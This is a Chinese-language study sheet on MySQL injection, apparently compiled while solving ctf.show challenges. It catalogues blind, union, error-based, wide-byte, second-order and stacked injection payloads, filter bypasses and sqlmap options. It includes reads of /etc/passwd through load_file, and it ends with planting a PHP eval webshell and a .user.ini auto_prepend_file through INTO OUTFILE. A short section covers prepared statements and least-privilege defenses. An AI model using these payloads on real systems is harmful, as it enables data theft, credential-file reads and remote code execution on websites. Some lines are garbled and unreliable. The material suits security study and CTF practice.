数据与代码分离
盲注:没有错误回显 or 返回页面无差异
//根据返回结果判断注入
id=2
id=2 and 1=2
id=2 and 1=1
基于时间的盲注:
BENCKMARK(count,expr)
sleep()
//笛卡尔积
(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E)
//正则dos
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
get_clock()
五种时间盲注
MYSQL注入
1.注释符
#
注释从#字符到行尾;
--
注释从该字符到行尾,但是后面需要跟上一个或多个空格(空格、tag都可以);
/* */
注释从/序列到后面的/序列中间的字符。
/* */
中加语句:
2.元数据
information_schema数据库的利用:
//查数据库
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1;
//查表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE());
//查列名
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users';
3.UNION查询
order by
加union select
查询测列数和回显位置
4.函数利用
load_file()
:读文件
要求文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed_packet(默认为16MB,最大为1GB)。
union select 1,load_file('/etc/passwd'),3,4,5,6 #
//过滤单引号
union select 1,2load_file(0x2F6574632F706173737764),3,4,5,6 #
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
//防止返回结果乱码
select hex(load_file(char(99,58,92,49,46,116,120,116)));
into outfile()
into dumpfile()
:写文件
要求仍然是必须持有FILE权限,并且文件必须为全路径名称。
写文件到文件里:
select '' into outfile 'c:\wwwroot\1.php';
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php';
写文件到表里:
CREATE TABLE potatoes(line BLOB)
UNION SELECT 1,1,HEX(LOAD_FILE('/ext/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes
上面要求要创建表的权限。INTO DUMPFILE
和INTO OUTFILE
的区别是:DUMPFILE适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件。
concat()
concat_ws()
:拼接字符串
group_concat()
:纵向拼接
5.报错注入
updatexml()
:
updatexml(XML_document,XPath_string,new_value)
extractvalue()
:
extractvalue(XML_document,XPath_string)
floor()
、ceil()
、round()
配合rand()
https://www.cnblogs.com/wzy-ustc/p/14217750.html
6.宽字节注入
一般出现在PHP+MySQL中,出现的原因是编码不统一。下面的分析是基于MySQL使用了GBK编码这种宽字符集。
在PHP配置文件php.ini中存在magic_quotes_gpc
选项,被称为魔术引号,当此选项被打开时,使用GET、POST、Cookie所接收到的单引号'
、双引号"
、反斜线\
和NULL
字符都会被自动加上一个反斜线转义。
那么输入的'
就会变为\'
,而MySQL认为\'
是一个字符,所以无法闭合之前的'从而达到注入的效果。但是如果输入的是0xbf'
,即0xbf27
,单引号被转义后变为0xbf5c27
(0x5c=\
),而0xbf5c
被MySQL解析为一个字符,转义字符\
就被绕过了,单引号'
成功闭合了。
要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF-8是一个很好的方法。
基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决方法就是在HTML页面的标签中指定当前页面的charset。
7.MySQL长字符截断
在MySQL中的一个设置里有一个sql_mode
选项,当sql_mode
设置为default时,即没有开启STRICT_ALL_TABLES
选项时(MySQLsql_mode
默认即为default
),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题。
比如表如下:
CREATE TABLE USERS(
id int(11) NOT NULL,
username varchar(7) NOT NULL,
password varchar(12) NOT NULL
正常的插入:
insert into users(id,username,password) values(1,'admin','admin');
恶意的插入:
//'admin '右边有3个空格,长度为8
insert into users(id,username,password) values(1,'admin ','admin');
//在上面的基础上再加个x
insert into users(id,username,password) values(1,'admin x','admin');
这时数据库中有三个叫admin的用户,只不过后面两个的长度为7。也就是在默认情况下,如果数据超出列默认长度,MySQL会将其截断。但是在查询username='admin'
的时候,三个用户都会被查询出来。
攻击方法:
假设管理员登陆的用户名为admin,那么攻击者仅需要注册一个"admin "用户即可轻易进入后台管理页面,像著名的WordPress就被这样的方式攻击过。
8.UDF MOF提权
权限获取
https://www.jianshu.com/p/a00dd5240738
9.存储过程
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。
存储过程其实和UDF是很相似的,但存储过程必须使用CALL或者EXECUTE来执行。所以在某种意义上,存储过程将为攻击者提供很大的便利。
比如,在MS SQL Server中,存储过程xp_cmdshell
可以用来执行系统命令。
存储过程不能防止SQL注入,参数化才能。
procedure get_item(
itm_cv IN OUT ItmCurTyp,
usr in varchar2,
itm in varchar2)
is open itm_cv for ' SELECT * FROM items WHERE ' ||
' owner = ''' || usr ||
' AND itemname = ''' || itm || '''';
end get_item;
在这个存储过程中,变量usr
和itemname
都是由外部传入的,且未经过任何处理,将直接造成SQL注入问题。
补充:
MySQL的HAVING子句在SELECT语句中是用来为某一组行或聚合指定过滤条件。
MySQL的HAVING子句通常与GROUP BY子句一起使用。当它在GROUP BY子句中使用时,我们可以应用它在GROUP BY子句之后来指定过滤的条件。如果省略了GROUP BY子句,HAVING子句行为就像WHERE子句一样。
请注意,HAVING子句应用筛选条件每一个分组的行,而WHERE子句的过滤条件是过滤每个单独的行。
10.二次注入
输入一个带引号的变量被存入数据库,那么第二次访问它就有可能把造成闭合。
以PHP为例,PHP在开启magic_quotes_gpc
后,将会对特殊字符转义,比如将'
转义为\'
。对于如下SQL语句:
$sql = "insert into users (id,username,password) values (20,'$title','$content')";
如果插入的title为secbug'
、content为secbug.org
,那么SQL语句如下:
insert into users (id,username,password) values (20,'secbug\'','secbug.org');
单引号的确是成功转义了,但是secbug\'
在插入数据库中以后却没有\
:
这时候如果再有一处查询为:
select id,username,password from users where username='$username';
这时候单引号就成功闭合了,形成了SQL注入漏洞。
11.堆叠注入
就是两句sql拼接,中间;
间隔。
12.HTTP头部注入
浅谈http头注入(附案例)
防御
1.预编译语句绑定变量
java中:
String custname=request.getParameter("customerName");
String query="SELECT account_balance FROM user_data WHERE user_name= ? ";
PreparedStatement pstmt = =connection.prepareStatement(query);
pstmt.setString(1,custname);
ResultSet results=pstmt.executeQuery();
php中:
$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$myspli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1='Stuttgart';
$val2='DEU';
$val3='Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();
2.使用安全的存储过程
但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。
下面是一个在Java中调用存储过程的例子,其中sp_getAccountBalance
是预先在数据库中定义好的存储过程:
String custname = request.getParameter("customerName");
try{
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1,custname);
ResultSet results = cs.executeQuery();
// ... result set handling
} catch (SQLException se) {
// ... logging and error handling
}
3.检查数据类型
限制输入为interger:
但是如果我们就是要输入的是字符串就不太适用了。
4.使用安全函数
一般来说,各种Web语言都实现了一些编码函数,可以帮助对抗SQL注入。
同时,可以参考OWASP ESAPI中的实现:
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID")) + " ' and user_passwd= ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + " ' ";
在最后,从数据库自身的角度来说,应该使用最小权限原则,避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。
绕过
返回结果过滤
to_base64()
编码返回结果
-1' union select 1,to_base64(username),password from ctfshow_user3 --+
再进一步,replace
替换返回结果中被过滤的值
大小写过滤
大小写绕过
空格过滤
/**/
%09
(tab)
%0c
换页符
()
等号过滤
id=1 and 1=1
id=1 and(ord(1))
id=1 and 1 like 1
id=1 and 1 like '1' //LIKE 通常与 % 一同使用,类似于一个元字符的搜索。
id=1 and 'abcde' regexp('a')
引号过滤
二次注入
宽字符注入
需要引号括起来的字符串写为16进制
char()
两个注入点时,第一个反斜杠第二个为真注入点
数字过滤
使用true来过滤。在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来。
那么先用一坨true表示十进制数字,再使用char()
转换为字符,再用concat()拼接即可。
md5绕过
echo md5("ffifdyop",true);
//结果
'or'6É]™é!r,ùíb�
'or'6(后面的是不可见字符)
ascii()被过滤
ord()
十进制比较
regexp
正则比较
like
配上%
进行元字符匹配
substr()被过滤
left()
right()
一些补充知识点
在mysql和php中,数字和字符串进行比较时,当这个字符串是一个无法转换为数字的字符串,它就会被强制转化为数字,结果总是为0 。
在mysql的数字中,只有0是false,其余都是true。
一种骚操作:互换id和password,然后爆破:
alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
'varchar(255);',
表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符。 表名、字段名、数据库名等可用反引号 ( ` ),也可以不使用反引号 ,但如果它包含特殊字符或保留字,则必须使用,如果不使用就会报错。
sqlmap使用
--user-agent
指定ua
--refer
指定refer
--data
调整请求方式?
--method
调整请求方式(大写)
--cookie
指定cookie
--safe-url
设置在测试目标地址前访问的安全链接
--safe-freq
设置两次注入测试前访问安全链接的次数
sqlmap会帮我们闭合,sql关键字用的是大写
--os-shell
–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;
不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限
在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出
一些骚操作
1.procedure analyse()
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
payload:
http://a4d802b0-9f96-436a-9019-353892921a86.challenge.ctf.show:8080/api/?page=1&limit=10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)
procedure analyse()知识点
2.handler()语句
payload:
http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=ctfshow';show%20tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
handler()知识点
3.预处理语句
payload:
http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=';prepare p from concat('s','elect',' * from ctfshow_flagasa');execute p;
预处理语句
from
后面可以直接跟16进制字符串:
http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute p;
//也就是
http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from select * from ctfsh_ow_flagas;execute p;
4.调用存储过程
先查存储过程:
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute p;
//也就是
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from select * from information_schema.routines;execute p;
再调用:
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';call getFlag();
5.其他数据库统计信息
数据库统计信息
//查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
6.无列名查询
//查数据
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#
7.into outfile的扩展选项利用
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
/***********************************************************/
“OPTION”参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
基于如下场景:
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
//无过滤
可构造如下注入,在1.php中写入木马:
filename=1.php' fields terminated by ''#
//除了fields terminates by以外,lines starting by 和 lines terminated by都可以,用法和上面的一样
或者写入.user.ini(;
表示单行注释):
filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
//也就是如下语句,只不过在`auto_prepend_file=1.jpg`前后加了%0a用于换行,保证注入的内容单独在一行
filename=.user.ini' lines starting by ';' terminated by "auto_prepend_file=1.jpg"#
然后上传图片马即可:
filename=1.jpg' lines starting by '=eval($_POST[1]);?>'#